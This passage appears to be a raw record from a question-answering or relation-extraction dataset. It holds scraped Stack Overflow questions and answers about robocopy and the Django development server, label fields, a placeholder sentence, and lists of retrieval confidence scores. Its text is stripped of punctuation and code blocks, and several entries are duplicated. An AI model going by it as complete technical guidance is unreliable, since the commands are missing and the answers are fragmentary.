.. . Answer : I have some SQL log backups scheduled to run every 15 minutes including a robocopy with the MIR option to an archive folder on a cloud-storage volume using CloudBerry . Sometimes after a Full backup and a slow network the full backup archive copy has not completed when the log backup is run and I suspect a problem caused by the second robocopy now also trying to copy the large full backup file in addition to the new log backup . What should happen If the retry flag is set to R : 60 should the second instance somehow skip files already being copied by another robocopy instance or will the two instances of robocopy step all over each other Or must the second instance be run with the R : 0 option set to skip the first file still being copied Comment : This question appears to belong on Super User http : superuser.com . Comment : I don t think so . This is a practical detailed question that I am having a problem with and need an answer as to how robocopy really works . I need to know exactly what robocopy will do when two instances are running trying to mirror the same folder to the same destination . I think many are too arrogant and elitist here and live to find fault with others.. .", "Question : I started looking at robocopy yesterday to try to copy and overwrite a file from one destination to many remote computers . I ve tried Robocopy to copy files to a remote machine http : stackoverflow.com questions 19234471 robocopy-to-copy-files-to-a-remote-machine s 1 7C1.2456 but it doesn t work . I get the same error as the person in the link . Does anybody have any suggestions or lead me in the right way thank you so much Comment : If you are copying just one file you could use PowerShell Copy-Item C : local folder file.txt Server C Path since it supports UNC paths Comment : Is it possible to put One file to multiple remote computers which I have in a RemoteNames.txt thank you for taking the time to answer matt .. . Answer : If you need to connect with different credentials you can use .. . .. . Now you can copy to e.g . Computer01 : Folder01", "Question : I have the following folder structure : .. . .. . FolderA .. . --Folder1 .. . --Folder2 .. . --Folder3 .. . .. . .. . --Folder99 .. . .. . Folders 1 through 99 have files in them . All I want to do is to copy ALL THE FILES into ONE FOLDER basically do a FolderA copy and wipe out Folders 1-99 keeping all the files . I d like to do it with Robocopy from cmd.exe if possible Windows Server 2008 Comment : This doesn t seem like a programming question . Comment : you guys can move it to SU or SF i don t want to delete it and waste a useful answer Comment : Superb question sir Comment : batch programming is still programming .. . Answer : Why use robocopy It s a good tool for a specific task but this is not the one . You can simply use what cmd already gives you : .. . .. . This will essentially flatten your directory hierarchy . for r will walk a directory tree recursively looking for file names matching the given pattern . You can also specify the directory to start in : .. . .. . Within the loop it s just a simply copy of the file into a specified folder . Comment : thanx second version worked perfectly Comment : Indeed the second answer was amazing . Thanks Comment : This script is exactly what I needed today . Yay for SO Comment : There are 2 solutions here http : mlichtenberg.wordpress.com 2011 01 25 command-line-fun-how-to-flatten-a-folder-hierarchy if you have files that don t have unique names . Comment : @Martin : See help copy . It s y .", "Question : I d like to backup my system with Robocopy and Powersell but Robocopy is not able to copy opened files . Volume Shadows Copy seems a solution but I don t find any clear and simple explanation how to use it . Do you have any idea I m running on Windows 7 x64 Enterprise . Thanks for your help . Franck Comment : Welcome to StackOverflow . This is a programming-related question and answer site and your question is off-topic here . Voting to migrate it to superuser http : superuser.com which is more appropriate . .. . Answer : In order to perform a VSS snapshot on Windows 7 you can simply do a System Restore . After open an administrator console type vssadmin list shadows . You are looking for the Shadow Copy Volume line in the most recent snapshot . Copy this and do mountvol X : YOUR VSS PATH and your VSS snap will be mounted on X : . After that run robocopy on X : and you should be good to go .", "Question : I am having an intermittent issue with ROBOCOPY copying files with an incorrect date . I am using ROBOCOPY to copy backup files from a local folder to a remote fileshare as a part of having a remote backup solution . The script is scheduled through task manager to run daily . Here is pseudo code : .. . .. . Most of the files copy with the correct file date hovever one or two files sometimes will have the date of 1 1 1980 . This presents a major issue with managing the backups in the fileshare because the dates are crucial to its management . What might causes this What can be done to prevent this behavior Comment : What is the date stamp for those one or two files Comment : one or two files sometimes will have the date of 1 1 1980 - The original date stamp would have been 6 23 2014 for the previous day however after being copied to the remote location it may take on a different date stamp value . If it does that new value will always be 1 1 1980 . Comment : I am wondering whether the date on the source file might not be what you think it is depending on how you re viewing it . Comment : The dates are how I stated . 6 23 2-14 on the original file and 1 1 1980 on the copied file There is no mistaking it because there are only a few files being moved . The files and dates are viewed using File Manager . Comment : As I said the only thing I can suggest is that whatever metadata you re looking at in your file-manager isn t the same as what robocopy is using . .. . Answer : I was having a similar issue . After some searching I found reference to a behavior of Robocopy where it sets the modified date to 1 1 1980 until after a transfer is completed . source http : blog.tylerholmes.com 2008 11 unstoppable-file-copying-with-robocopy.html showComment 1226607780000 c5304841247178234617 .. . .. . What was really strange in my case was if I watched the directory during the copy I would see the file with the correct date appear then AFTER it was complete the date would change to 1 1 1980 . After some experimentation I removed the B switch I had been using and the dates seemed to be left alone .", "Question : I m a huge fan of robocopy and use it extensively to copy between various servers I need to update . Lately I ve been archiving to an Amazon S3 account that I access via a mapped-drive using JungleDisk . I then robocopy my files from local PC to S3 . Sometimes I get a very strange Incorrect function error message in robocopy and the file fails to copy . I ve tried xcopy and straightforward copy and paste between file explorer windows . In each case I get some variation of the Incorrect function or Illegal MS-DOS function and the file will never copy . I delete the target but to no avail . Any ideas .. . Answer : Don t know if you re allowed to answer your own questions but I think I ve fixed it.. . I found this in the jungledisk support forums http : forum.jungledisk.com viewtopic.php t 14039 highlight invalid+msdos+function .. . .. . The quick solution is to zip the files delete the original then unzip the files because zip can t handle extended attributes . Another solution is to move them to a FAT filesystem then move again to NTFS filesystem because FAT don t manage extended attributes . .. . In both cases the result is the deletion of extended attributes and the files can be moved to the jungledisk . .. . The files can have extended attributes for different reasons expecially migrations from other filesystems : in my case was the migration of a CVS repository from a ext2 filesystem to NTFS . Seems to have worked for me.. .", "Question : I started looking at robocopy yesterday to try to copy and overwrite a file from one destination to many remote computers . I ve tried Robocopy to copy files to a remote machine http : stackoverflow.com questions 19234471 robocopy-to-copy-files-to-a-remote-machine s 1 7C1.2456 but it doesn t work . I get the same error as the person in the link . Does anybody have any suggestions or lead me in the right way thank you so much Comment : If you are copying just one file you could use PowerShell Copy-Item C : local folder file.txt Server C Path since it supports UNC paths Comment : Is it possible to put One file to multiple remote computers which I have in a RemoteNames.txt thank you for taking the time to answer matt .. . Answer : You could just use PowerShell for this . It has an inefficiency issue wherein it would copy one at a time but that shouldnt be an issue for 50ish machines . This could help if you made a PowerShell script .. . .. . The would copy the file fileToCopy to each server in the file C : filewithcomputers.txt assuming that the file contained a list of computer with each one on its own line . The file would be copied to the temp folder on each machine . Update the paths as required for your scenario . I only suggest this since you tagged powershell-remoting questions tagged powershell-remoting . If you are not adept with PowerShell maybe someone else can give you a better answer more of what you are looking for . Using RoboCopy for one file seemed tedious . If you wanted to check to see if a folder exists and is accessible you could do something like this .", "Question : I need some assistence in the following task . I have a very large directory structure like below : .. . .. . I want to move alle directory s Incoming and Workfiles into a new path e.q . : z : documents with the same structure . How can I iterate throug all the directory s and move the complete directory with the name is equal to Incoming or WorkFiles and create a structure that is the same to the old structure . Resulting in : .. . .. . I want to do this in VB.NET or is there a syntax for robocopy that can do this job other tools Thanks in advance .. . Answer : Using robocopy : .. . .. . E is to copy subfolders including empty ones . Reference : .. . .. . http : technet.microsoft.com en-us library cc733145.aspx", "Question : I have a text file which contains things like : .. . .. . C : Folder A Test.txt .. . .. . I need to copy certain files and their respective containers to a new directory from a directory but only those files I specify and their parent folder structures . In my batch : .. . .. . However it fails the robocopy probably to do with the trailing backslash . The Source gets mixed up and shows both the folder and the Z : . This means t he file name from nxa is then part of the destination rather than the file to copy . Any ideas Comment : Tell please if C : audit test.txt lines are sorounded by doublequotes Comment : Yes they are quoted . .. . Answer : The backslash is treated as an escape character in this case because it immediately precedes the closing . If you append a . to the path the result will be the same path but the backslash will no longer precede the closing and therefore will not be treated as an escape character for the ending quote . In the example you ve posted both the source and target paths end with a . Therefore you ll need to add a . to both :" ] }
[ "yes-answer-long", "yes-answer-short" ]
command-line
UNK_RELATION
django-dev-server@django@85
django-dev-server -- django-dev-server refers to lightweight web server provided by @placeholder for development purposes .
{ "confidence": [ 57.82600402832031, 56.04426574707031, 55.89002227783203, 53.90880584716797, 53.197303771972656, 51.83183670043945, 50.710166931152344, 50.42237091064453, 49.65861511230469, 49.076385498046875, 49.056968688964844, 48.556846618652344, 47.43865966796875, 46.9215087890625, 46.9215087890625, 46.9215087890625, 46.9215087890625, 46.9215087890625, 46.792964935302734, 45.44808578491211, 45.38353729248047, 45.2859001159668, 45.19438552856445, 44.287967681884766, 44.031768798828125, 43.52145767211914, 43.52145767211914, 43.52145767211914, 43.17827606201172, 43.17827606201172, 43.13321304321289, 42.64513397216797, 42.06721496582031, 41.04281234741211, 41.04281234741211, 41.04281234741211, 40.78813934326172, 40.6031379699707, 40.42283248901367, 40.12089920043945, 39.9317512512207, 39.44270324707031, 39.44270324707031, 38.537818908691406, 37.76355743408203, 37.66096496582031, 37.31401443481445, 36.85597229003906, 36.843589782714844, 36.63410186767578, 35.78017807006836, 35.78017807006836, 35.78017807006836, 35.52550506591797, 35.50404357910156, 35.4871711730957, 35.22850036621094, 34.85236358642578, 33.981075286865234, 33.789306640625, 33.581947326660156, 33.581947326660156, 33.56401062011719, 33.353660583496094, 33.2109375, 33.0205078125, 32.99872589111328, 32.93877029418945, 32.914947509765625, 32.77128219604492, 32.71689987182617, 32.53855895996094, 32.2120361328125, 32.2120361328125, 32.160858154296875, 31.782272338867188, 31.67025375366211, 31.653846740722656, 31.58684539794922, 31.58684539794922, 31.430505752563477, 31.430505752563477, 30.671207427978516, 30.608142852783203, 30.608142852783203, 30.493730545043945, 30.488719940185547, 30.440872192382812, 30.421390533447266, 30.397171020507812, 30.377704620361328, 30.211904525756836, 30.025394439697266, 30.025394439697266, 30.025394439697266, 29.746192932128906, 29.73082733154297, 29.648767471313477, 29.646808624267578 ], "content": [ "If it really bothers you proxy your django-dev-server using nginx .", "Stage of models validation is most longest in Django dev-server startup .", "I usualy work with the django concurent dev server https : github.com ashchristopher django-concurrent-server which is multi-threaded and works much better .", "So seeing the Django dev server style logs on Apache will be really helpful .", "I am running django on django s development server .", "I ve recently deployed my Django app on Apache and looking for logs analogous to that of Django Dev Server on Apache .", "Alternative caches are empty and they are repopulated on the startup of the Django development server .", "The discussion suggests that the problem is solved in newer versions of django where the dev server is multithreaded introduced in version 1.4 https : docs.djangoproject.com en dev releases 1.4 development-server-multithreading .", "I have a rudimentary web server running next to a dev server .", "Complete answer here Django development server broken-pipe error http : stackoverflow.com questions 10253288 django-development-server-broken-pipe-error", "The Django dev server automatically reloads itself if it detects any change in your code .", "Is there anyway of setting MIME types in the django development server", "Solution was to activate it only on production server and not in dev", "Example of logs from Django dev server : .. . .. . It s very useful for debugging figuring out the sources of 500 errors etc .", "Is it possible that for some reason the Django dev server is setting the MIME types of responses incorrectly", "My question is : is it possible to achieve the change run right away without waiting for dev server to reload workflow with django project", "I also realize that django-dev-server has a great automatic reload feature .", "as I wrote : I also realize that django-dev-server has a great automatic reload feature .", "I m testing a simple django project using its own development server .", "A Django app is one part of what runs on a given web server .", "I resorted to using my production server which uses Gunicorn and NginX for development instead of django s dev server .", "Possible duplicate of making django server accessible in LAN http : stackoverflow.com questions 22144189 making-django-server-accessible-in-lan", "On this machine I run a Django development web server : .. . .. . The codebase is big so for faster code reload I installed pyinotify .", "I need a way to distinguish development server in Django run eg .", "It s normal to serve static files from the dev server .", "How do I restart a dev server in the VM", "With it you can launch and kill the dev server .", "You have to wait for the dev server to reload .", "In this case the most likely cause is the browser closing the connection before the Django development server has sent the entire response .", "Django development server have multiple threads so when closing main process there might be some running threads in background .", "On Django development server with SpatiaLite I am trying to do a basic geographic query : .. . .. . This causes a Segmentation error and the server dies .", "My site has a simple link submission functionality which works locally on Django dev server but is not working on the actual site running Apache .", "However I seem to have to restart the built-in Django web server to see the updated data .", "Django development server is really nice it shows the log of all POST GET requests as well as other events in real-time .", "I have a Django development server running on a remote centos VM on another lan .", "Does this question http : stackoverflow.com questions 16303098 django-development-server-and-mime-types help", "what i want to know is how to set thet dev server and get my development proj running", "I have a django hosting service from provider and they provide me django installation on server so that i can run my django wegpage .", "I m developing application on Django and ready to move to deployment server .", "For instance on my apache server .pngs are transferred as image png while on the dev server it s image x-png", "Thus a Django project which has one or more apps runs as a part of one web server .", "It s not used by dev server just so we can change the URL for the next version .", "The dev server is single-threaded so if something keeps waiting it blocks every request .", "I am basically asking this question : How can I tell whether my Django application is running on development server or not", "It would be better if my dev server buffered the incoming HTTP request while the project reloaded if I reload at the wrong time the server simply holds the request until the project is operational again and then processes it .", "Seems a bit messy but don t know of another way to stop the dev server and free the port resources", "from here https : docs.djangoproject.com en dev howto static-files serving-static-files-in-development .. . .. . can t you just supply the static files in another server", "When running the django test server on a local project can you make 400 500 errors stand out in a different color in output text", "Try Django Debug Toolbar github.com django-debug-toolbar django-debug-toolbar https : github.com django-debug-toolbar django-debug-toolbar as the first shot", "But I find that I often beat the dev server to the punch - I hit reload in my browser while the project is still reloading .", "Selling django is hard when I am in and out of the shell command-line to start restart the server syncdb migrate etc .", "The problem is that the Django Debug server is just one process which runs in a specific port .", "The problem is that I have no way to tell Django how to distinguish the url mappings based on a particular server instance .", "If there is a message you can pass to the dev server to stop it that would be an easy way to kill it too .", "Django runserver is not for that kind of use .", "Infact it works when I run the development server .", "they set production one in lighttpd and development one in development server .", "Lately I ve been noticing that when I ve been running the dev server for a while and then -C to exit the process continues to run in the background .", "I have a production and local DJANGO development-environment .", "the algorithm goes something like this : .. . .. . The web server has no input into this type of caching .", "Is there any way I can listen to see them in real-time all the events happening at Apache the same way I can do using Django development server", "I am trying to pick up an old Django project and my immediate goal is to see what I can get running on my computer on the development server .", "We all love that Django s development server manage.py runserver notices file changes and reloads .", "I ve gone through https : docs.djangoproject.com en dev howto static-files related Q A on stackoverflow regarding placement of static files on Django .", "I have not updated Django on the project.. . strange .", "Optionally I may do various things but is there any way to distinguish dev server", "I am currently not using apache with the development server and is shutdown .", "What I want to do is make each App listen to its own port on the same server and if possible under the same Django project .", "If you want to test your dev environ remotely can I suggest either setting up Apache properly with port 80 as opposed to using django s dev server--privilege restrictions and all that can be circumvented with sudo and other bad practice or use a pre-built shared dev service like vagrant share .", "You can run each server on its own port https : docs.djangoproject.com en 1.4 ref django-admin runserver-port-or-address-port by giving it a parameter telling it where to open the port for example : .. . .. . runs a debug server on 127.0.0.1 : 8000 and .. . .. . runs another debug server on 127.0.0.1 : 8080 .", "When I run it from the dev server locally there s only responseText .. . .. . When I run it on the actual site in the console it returns responseJSON and responseText .", "Now following the tutorial in Django Official Website to build a web app .", "A server that is blocked cannot serve up 404s.. .", "In case of production server you don t need this .", "I m using Django version 1.3 alpha 1 SVN-14750 to build a Django site .", "I m not exactly sure what causes these errors but restarting Django s development server is all I know to do to fix it .", "By default ADMIN MEDIA PREFIX MEDIA URL and STATIC URL for Django 1.3 will be ignored assuming MEDIA URL and STATIC URL is relative .. . .. . Which seems very odd because the whole point of using runserver is to not have to have an actual real web server setup especially just to serve static files in development .", "This simple web server listens for a request on a different port and touches the project s manage.py .", "Django supports it since 1.7 .", "I m using Django 1.8 .", "@Joe : Have you 404 in your django runserver console log", "to do with the Django code rather than the configuration of the file serving .", "This is where the web server is configured to return certain headers for specific types of resources like static content javascript images etc .", "Which version of django are you using", "The solution is to run multiple instances of Django .", "if the production staging development server or my localhost configuration changes .", "See the docs on syntax coloring : https : docs.djangoproject.com en 1.3 ref django-admin syntax-coloring .. . .. . This requires Django 1.2 and a platform which supports colors disabled on Windows .", "On the same network as the server", "There are two I use : .. . .. . django-compressor : http : django-compressor.readthedocs.org en latest django-pipeline : https : django-pipeline.readthedocs.org en latest .. . .. . I started on django-pipeline but have moved to using compressor as of late .", "To make the job of selling django to my co-workers and hopefully make development easier at least for the django developers who likes to work in an IDE I have started the work on a plugin for Editra .", "I m trying to develop a simple plugin https : bitbucket.org weholt editra.djangomanagement for the Editra http : editra.org editor for django development .", "To make things clear I dont mean using any IDE just simple setup of ssh-ing into a VM or remote dev server .", "I finally got around to trying out django-devserver https : github.com dcramer django-devserver .", "every django project comes with a settings.py file and django will refuse to run or load models until that settings.py file is loaded .", "A Django project normally looks something like this as of Django 1.4 and above I think .", "try this http : stackoverflow.com questions 12809416 django-static-files-404 in case .. . .. . however about serving static files in development : .. . .. . Warning This will only work if DEBUG is True .", "During development you do not need to restart the server every time you modify the code- especially if you are not touching the definition of the models at all .", "This is not possible without modifying the source code of Django which is not recommended .", "When I try to access the development server from within the same LAN the page loads up fine ." ] }
{ "confidence": [ 61.80290222167969, 59.85481262207031, 59.78312683105469, 57.2685546875, 57.2137451171875, 57.17845153808594, 56.820247650146484, 56.0698127746582, 56.049381256103516, 55.92281723022461, 55.07045364379883, 54.51477813720703, 53.155086517333984, 51.79796600341797, 51.5820426940918, 50.59695053100586, 50.42002487182617, 48.739627838134766, 47.801353454589844, 47.56595993041992 ], "content": [ "Question : Django development server is really nice it shows the log of all POST GET requests as well as other events in real-time . Example of logs from Django dev server : .. . .. . It s very useful for debugging figuring out the sources of 500 errors etc . I ve recently deployed my Django app on Apache and looking for logs analogous to that of Django Dev Server on Apache . There is obviously Apache error logs snippet is below : .. . .. . But that s not what I want . My site has a simple link submission functionality which works locally on Django dev server but is not working on the actual site running Apache . So seeing the Django dev server style logs on Apache will be really helpful . Any idea where can I look at Thank in advance and happy 4th .. . Answer : Check access.log for the apache where you will see each request processed and response sent . Also if you have not tried yet set DEBUG True in your settings file so django will show you detail error trace and other useful information . Comment : Thanks Rohan access.log is helpful . Is there any way I can listen to see them in real-time all the events happening at Apache the same way I can do using Django development server Comment : @Arman If you on linux tail -f access.log", "Question : We all love that Django s development server manage.py runserver notices file changes and reloads . But I find that I often beat the dev server to the punch - I hit reload in my browser while the project is still reloading . This results in an Unable to connect error in my browser because there is nothing listening on localhost : 8000 . It would be better if my dev server buffered the incoming HTTP request while the project reloaded if I reload at the wrong time the server simply holds the request until the project is operational again and then processes it . Perhaps Django s reloading system isn t conducive to this design . Maybe I d need to run a separate buffering proxy to make this work Obviously simple approaches are preferred but something that optimizes this would be a nice frequently-felt improvement to my dev process . .. . Answer : There is no simple way to do that without proxy server and I m pretty sure that it won t happen in near future . Django runserver is not for that kind of use . If it really bothers you proxy your django-dev-server using nginx . Comment : I m fine in theory with running a proxy server can you point me at a configuration that works", "Question : I m testing a simple django project using its own development server . However every time I close my IE client an error appears in the console . It doesn t cause any failure though . When I open another IE browser client everything is normal . How can I get rid of this error Comment : Which version of django are you using Which of IE This bug report https : code.djangoproject.com ticket 15178 mentions a similar problem when IE9 beta is used . The discussion suggests that the problem is solved in newer versions of django where the dev server is multithreaded introduced in version 1.4 https : docs.djangoproject.com en dev releases 1.4 development-server-multithreading . Comment : You are using the runserver command isn t If you are this is common and not a problem . You may see the error with the name broken-pipe error in short is how the development server opens a connection to your browser and it doesn t finish to send all the output cause you stop it . there is no harm in here if you are using a production webserver you will not see this error . .. . Answer : add refresh before quit see here http : stackoverflow.com questions 13243267 django-and-selenium-web-testing-error-errno-10054", "Question : Whenever I run python manage.py runserver and accesses my website with localhost : 8000 in the browser the first request is VERY slow around 10 seconds . Following requests are really fast . Is there any way to improve the performance of this It s very unconvenient because while in development it s always reloading due to updates to the code . Thanks a lot . Comment : What if you open 127.0.0.1 : 8000 instead Any difference Comment : No still very slow. . .. . Answer : Does this happen to empty Django project freshly generated or just for your specific site Without having more specific information it is hard to tell why . The first request most likely lazily initializes some data . It could e.g . call external websites to get data and is slow due to bad DNS or slow Internet connection . Alternative caches are empty and they are repopulated on the startup of the Django development server . Comment : Specific project only thanks a lot for your answer . Do you know how could I debug Comment : Try Django Debug Toolbar github.com django-debug-toolbar django-debug-toolbar https : github.com django-debug-toolbar django-debug-toolbar as the first shot Comment : Found it Middleware that sends data to a remote monitoring service . Solution was to activate it only on production server and not in dev", "Question : I m testing a simple django project using its own development server . However every time I close my IE client an error appears in the console . It doesn t cause any failure though . When I open another IE browser client everything is normal . How can I get rid of this error Comment : Which version of django are you using Which of IE This bug report https : code.djangoproject.com ticket 15178 mentions a similar problem when IE9 beta is used . The discussion suggests that the problem is solved in newer versions of django where the dev server is multithreaded introduced in version 1.4 https : docs.djangoproject.com en dev releases 1.4 development-server-multithreading . Comment : You are using the runserver command isn t If you are this is common and not a problem . You may see the error with the name broken-pipe error in short is how the development server opens a connection to your browser and it doesn t finish to send all the output cause you stop it . there is no harm in here if you are using a production webserver you will not see this error . .. . Answer : Django Debug Toolbar generates tons of these errors . If you have it installed please try again without it", "Question : In my development-environment I m getting intermittent failures for serving static files js scripts and css . In the error console in Chrome I get 404s . But if I refresh on those items or visit the URLs directly they re served up fine . This is annoying . Example : .. . .. . but if I visit that URL directly fine . And if I refresh the page a few times it will work again . Any ideas Chrome 14.0.835.202 Comment : I m having the same issue . Did you manage figuring out the reason Comment : Not yet Running with --forked seems to work but makes using pdb impossible Comment : why does your url have v 1 Comment : That s just a future-proofing cache-busting thing . It s not used by dev server just so we can change the URL for the next version . Comment : please post your settings.py .. . Answer : The dev server is single-threaded so if something keeps waiting it blocks every request . I usualy work with the django concurent dev server https : github.com ashchristopher django-concurrent-server which is multi-threaded and works much better . Also it is very fast and easy to setup Comment : A server that is blocked cannot serve up 404s.. . Comment : absolutely true : Comment : This has stopped happening for me it is frustrating . I have not updated Django on the project.. . strange . Comment : @Thomas : maybe chrome do something special It probably should be confirmed with other browsers . Comment : @Joe : Have you 404 in your django runserver console log You may also increase debugging level and then check if a problems appears again .", "Question : I have a VirtualBox machine managed by Vagrant . On this machine I run a Django development web server : .. . .. . The codebase is big so for faster code reload I installed pyinotify . Django supports it since 1.7 . I m using 1.7 . The codebase sits in a synced folder NFS and I m using Sublime 3 to edit files on my host machine OS X . However inotify doesn t go well with NFS http : stackoverflow.com questions 4231243 inotify-with-nfs and the code autoreload do not work . How do I restart a dev server in the VM .. . Answer : I have a rudimentary web server running next to a dev server . This simple web server listens for a request on a different port and touches the project s manage.py . This in turn triggers a restart : .. . .. . reloader.py .. . .. . On the host machine I use a simple shell command to watch for file changes and hit the reloader s endpoint : .. . .. . watcher.sh .. . .. . Where watchmedo is a utility from watchdog https : github.com gorakhargosh watchdog .", "Question : I am stuck on this step : .. . .. . i have a page which i am developing in django . the page is ready to test . i deployed it . running well and it is online . but now i want to setup a new project in server as the testing version of what is online now . I went to control panel of my hosting provider and saw that once i created the django project first it also created a new dev.mypage.com . But i cannot find this in my server . i dont know how to setup a new dev project in server so that i can develop locally push to test project and test online and then go live . please help Comment : So you basically want to host multiple django servers on the same virtual-machine Comment : @karthikr honestly i dont have experience with virtual machines . I have a django hosting service from provider and they provide me django installation on server so that i can run my django wegpage . they set production one in lighttpd and development one in development server . what i want to know is how to set thet dev server and get my development proj running Comment : You can install nginx and have that point to 2 different servers . There is lots of information available online .. . Answer : You may like to use nginx + gunicorn http : docs.gunicorn.org en latest run.html . Also http : senko.net en django-nginx-gunicorn is useful . Comment : thanks but i found different solution otherwise your suggestion would be the solution", "Question : I m testing a simple django project using its own development server . However every time I close my IE client an error appears in the console . It doesn t cause any failure though . When I open another IE browser client everything is normal . How can I get rid of this error Comment : Which version of django are you using Which of IE This bug report https : code.djangoproject.com ticket 15178 mentions a similar problem when IE9 beta is used . The discussion suggests that the problem is solved in newer versions of django where the dev server is multithreaded introduced in version 1.4 https : docs.djangoproject.com en dev releases 1.4 development-server-multithreading . Comment : You are using the runserver command isn t If you are this is common and not a problem . You may see the error with the name broken-pipe error in short is how the development server opens a connection to your browser and it doesn t finish to send all the output cause you stop it . there is no harm in here if you are using a production webserver you will not see this error . .. . Answer : This happens when the client closes the connection before the server finished sending the data . If it only happens sometimes and is not a persistent problem ignore it . Complete answer here Django development server broken-pipe error http : stackoverflow.com questions 10253288 django-development-server-broken-pipe-error", "Question : null .. . Answer : The development of my django applications involves something very annoying : whenever I perform any change in my codebase I need to restart the application . Django does it for me cool but it takes some time even more for bigger apps which I want to avoid . I am a big fan of how it works in PHP : No restarts involved I may test my changes as soon as I perform them . My question is : is it possible to achieve the change run right away without waiting for dev server to reload workflow with django project .. . .. . I know the title may sound confusing : My question is about the final effect . I realize this is apples vs oranges and under the hood it works completely differently I know that python dev servers are long running processes with global state and the code is loaded compiled on startup while PHP requests are completely separate from each other and in most dev setups the code is loaded compiled on each request . I also realize that django-dev-server has a great automatic reload feature . Comment : What How are you running it now manage.py runserver does reload changes automatically unless they alter the models and migration is required or you make a change that breaks syntax etc . Comment : as I wrote : I also realize that django-dev-server has a great automatic reload feature . It simply takes some time and I wonder if I can avoid it somehow Comment : I updated the question I hope it s less confusing now Comment : Oh I see then : no for the reasons you outline . You have to wait for the dev server to reload .", "Question : I have a Django development server running on a remote centos VM on another lan . I have set up port forwarding using Secure CRT to access the web page through my browser from my desk pc . I am currently not using apache with the development server and is shutdown . I start the server by running python manage.py runserver 0.0.0.0 : 80 . When I type either the ip or www.localhost.com into the web browser my URL is read as-if it has been doubled with the host being read as-if it was also the path . When I try to access the development server from within the same LAN the page loads up fine . I have been searching through the django documentation and stack-overflow but I have yet to find a similar problem to this . Does anyone have any thoughts on why this may be happening and what could be a possible solution Thank you very much in advance .. . Answer : It looks like the request URL is incorrect : http : www.localhost.com http : www.localhost.com should probably be http : actual machine IP .com .. . .. . I d start searching there . You won t be able to access the VM s port 80 from a different lan using localhost as the hostname since localhost is probably already set in your hosts-file . If you want to test your dev environ remotely can I suggest either setting up Apache properly with port 80 as opposed to using django s dev server--privilege restrictions and all that can be circumvented with sudo and other bad practice or use a pre-built shared dev service like vagrant share .", "Question : I m developing on Mac OSX 10.8 . Lately I ve been noticing that when I ve been running the dev server for a while and then -C to exit the process continues to run in the background . I have to do a ps to find the process and kill it or it won t let me use the same address : port again . I didn t have to do that in earlier versions of Django I m currently running 1.7.3 on this project . Seems a bit messy but don t know of another way to stop the dev server and free the port resources Rgds Ross . .. . Answer : Django development server have multiple threads so when closing main process there might be some running threads in background . It happens when there is some request being processed some long-term request can hang or if you re using websockets or something connection might prevent closing thread . Check if all of your requests are properly closed before closing your server and it should shut down properly . Comment : Good point I am having some probs with Error 54 Connection reset by peer where HTTP sessions are prematurely ended by client site hardware .", "Question : Stage of models validation is most longest in Django dev-server startup . And in my case it mostly waste of time since my models hanging infrequently . Is there way to turn off this .. . Answer : This is not possible without modifying the source code of Django which is not recommended . The only validation Django does on start-up is to check if the syntax of your model code is okay or not . It should not take more than 2-3 seconds . So there are few other initialization are being done during startup which are also taking time . During development you do not need to restart the server every time you modify the code- especially if you are not touching the definition of the models at all . The Django dev server automatically reloads itself if it detects any change in your code . So leave it running while you develop and hopefully your experience will improve . Comment : Actually if one follows your advice it is even MORE annoying with the model-validation In any case one can just uncomment the line self.validate display num errors True in django core management commands runserver.py Comment : Your comment actually doesn t seem to turn off the delay with validation only the message . Is that right or am I mistaken Comment : Okay I am mistaken . However the printout of validating models is misleading in terms of the delay . The validation is not the source of the delay as commenting it out does not speed the servers responsiveness . It must be elsewhere . Comment : Mistaken again It is the validation . However commenting it out did nothing for me oddly . I realize that makes no sense Comment : I never timed it but on my mac there must be at least two delays one from self.validate the other elsewhere .", "Question : In my development-environment I m getting intermittent failures for serving static files js scripts and css . In the error console in Chrome I get 404s . But if I refresh on those items or visit the URLs directly they re served up fine . This is annoying . Example : .. . .. . but if I visit that URL directly fine . And if I refresh the page a few times it will work again . Any ideas Chrome 14.0.835.202 Comment : I m having the same issue . Did you manage figuring out the reason Comment : Not yet Running with --forked seems to work but makes using pdb impossible Comment : why does your url have v 1 Comment : That s just a future-proofing cache-busting thing . It s not used by dev server just so we can change the URL for the next version . Comment : please post your settings.py .. . Answer : it might depends on your setup . what did you do for the static what s the settings did you do the collect static try this http : stackoverflow.com questions 12809416 django-static-files-404 in case .. . .. . however about serving static files in development : .. . .. . Warning This will only work if DEBUG is True . .. . That s because this view is grossly inefficient and probably insecure . This is only intended for local development and should never be used in production . from here https : docs.djangoproject.com en dev howto static-files serving-static-files-in-development .. . .. . can t you just supply the static files in another server Comment : I m sorry this was so long ago I can t remember . I think it stopped happening so I stopped worrying about it . Comment : It s normal to serve static files from the dev server . It s typical for development . I didn t say this happens in production .", "Question : I m trying to develop a simple plugin https : bitbucket.org weholt editra.djangomanagement for the Editra http : editra.org editor for django development . Right now it can create django projects and apps from within the editor . The editor is based on wxPython and I want to start the devserver from within the editor show a simple-form with the option to stop or kill restart the server . The goal is to minimize the need to do repetetive tasks in the console shell . My reason for doing this is that I am working in a Microsoft only company where you seldom do stuff using the command-line . Selling django is hard when I am in and out of the shell command-line to start restart the server syncdb migrate etc . To make the job of selling django to my co-workers and hopefully make development easier at least for the django developers who likes to work in an IDE I have started the work on a plugin for Editra . Right now the plugin adds a menu item called Django with two subitems create project and create app . A context menu is in the works which will give different options depending on the content of the file being edited right-click in a window holding settings.py will give you the option to start the devserver call syncdb migrate if south is installed create superuser etc . A right-click in views.py will give you options to help you generate views or templates in models.py scaffolding or generation of admin.py etc . The only thing I cannot get my head around is how to start kill restart the devserver from inside the app . What I really like is to have a small window floating around with two buttons stop or restart which will -- stop or restart the devserver . Or a play and stop button inside the editor doing the same thing . The problem is controlling the devserver process from within the app . If anybody has any information about this I would be very grateful . Any help input comments or ideas are appreciated . Regards Thomas Weholt .. . Answer : You ll want to use Python s subprocess module to launch and kill the dev server process I imagine : http : docs.python.org library subprocess.html .. . .. . You re probably most interested in the Popen object . With it you can launch and kill the dev server . Comment : Hmmm .. . I ve tried to use subprocess and starting the server works fine but stopping it does not . The process is still there after the kill or terminate call has been sent . Comment : You can see me code @ bitbucket.org weholt django-lime src 38fb5f27c0f7 lime https : bitbucket.org weholt django-lime src 38fb5f27c0f7 lime django tools.py . Down at the bottom there is a class called DevServerControl which is my attempt at doing this . As I mentioned calling start works fine calling stop does nothing . Comment : I suppose you are running Windows as it seems to have difficulties when killing subprocesses . Try using the Windows solution to kill processes in this question : stackoverflow.com questions 1064335 http : stackoverflow.com questions 1064335 in-python-2-5-how-do-i-kill-a-subprocess . If there is a message you can pass to the dev server to stop it that would be an easy way to kill it too .", "Question : Is there anyway of setting MIME types in the django development server Specifically I would love to remove this message from the warnings in Chrome dev tools . 